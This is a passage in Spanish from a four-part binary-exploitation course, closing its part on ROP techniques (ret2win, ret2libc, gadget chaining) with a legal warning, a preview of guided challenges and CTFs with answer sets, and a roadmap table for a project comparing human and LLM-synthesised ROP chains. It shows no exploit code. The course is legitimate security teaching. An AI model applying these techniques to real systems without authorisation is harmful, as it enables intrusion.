Las técnicas de esta parte —`ret2win`, `ret2libc`, encadenado de gadgets— son las mismas que usan explotadores reales y las mismas que un informe de pentesting recomienda mitigar con PIE, RELRO completo y stack protector. Prácticalas exclusivamente sobre binarios que tú compiles en tu VM Kali aislada; ensaya mitigaciones desactivándolas y activándolas tú mismo. Extraer esta práctica hacia sistemas de terceros sin autorización escrita es ilegal y traiciona el propósito del laboratorio: formar criterio, no cometer delitos.

A.7 Puente a la Parte 3

Con B1–B4 dominas la gramática de ROP: gadgets, trampolines, alineación y encadenado. La Parte 3 de la serie te pone delante retos GUIADOS —C1–C6—: los enunciados ya no incluyen la solución completa, sino pistas graduadas y el esqueleto del exploit para que TÚ completes los huecos, incluyendo escenarios nuevos como leaks de `libc` con ASLR activa y gadgets no triviales. Después, la Parte 4 cierra la serie con CTF-01..06 y el conjunto de respuestas, donde volverás a estos mismos binarios convertidos en objetivos de práctica para tu proyecto "LLM-Assisted ROP Chain Synthesis": cada CTF es un caso de prueba disponible para comparar

cadena humana contra cadena sintetizada por LLM. Guarda tus exploits de B1–B4 limpios y comentados: son tu baseline de referencia.

A.8 Mapa de la serie: dónde encaja cada pieza

Con la Parte 2 completada, ya puedes ubicar cada entrega de la serie en la ruta que recorre de un primer crash al protocolo completo de investigación. La tabla siguiente resume qué construye cada parte, qué ejercicios aporta y qué deberías dominar antes de saltar a la siguiente. Úsala como página de control: marca con fecha cada bloque que completes y deja anotado el exploit del que más orgullo estés, porque en la Parte 4 lo vas a comparar contra la síntesis asistida por LLM.

Parte	Construye	Ejercicios	Prerrequisito
Parte 1	Entorno Kali (gdb+GEF, pwntools, ROPgadget), flags inseguras, ASLR y fundamentos del buffer overflow	A0–A4 (numeración única)	Ninguno: punto de partida
Parte 2 (esta)	Teoría de gadgets y cadenas; ret2win, ret2libc con base via ldd, argumentos System V y encadenado multi-gadget	B1–B4 (numeración única)	Parte 1 completa, en especial A2 y A3
Parte 3	Retos guiados C1–C6 con pistas graduadas: leaks con ASLR activa, gadgets no triviales y esqueletos por completar	C1–C6 (numeración única)	Partes 1 y 2; chuleta del apéndice a mano
Parte 4	CTF-01..06 con conjunto de respuestas y protocolo de comparación humano vs. LLM para el proyecto del paper	CTF-01..06 (numeración única)	Partes 1 a 3; exploits B y C archivados

Tabla 3. Mapa de las 4 partes: dependencias y ejercicios con numeración estable en toda la serie.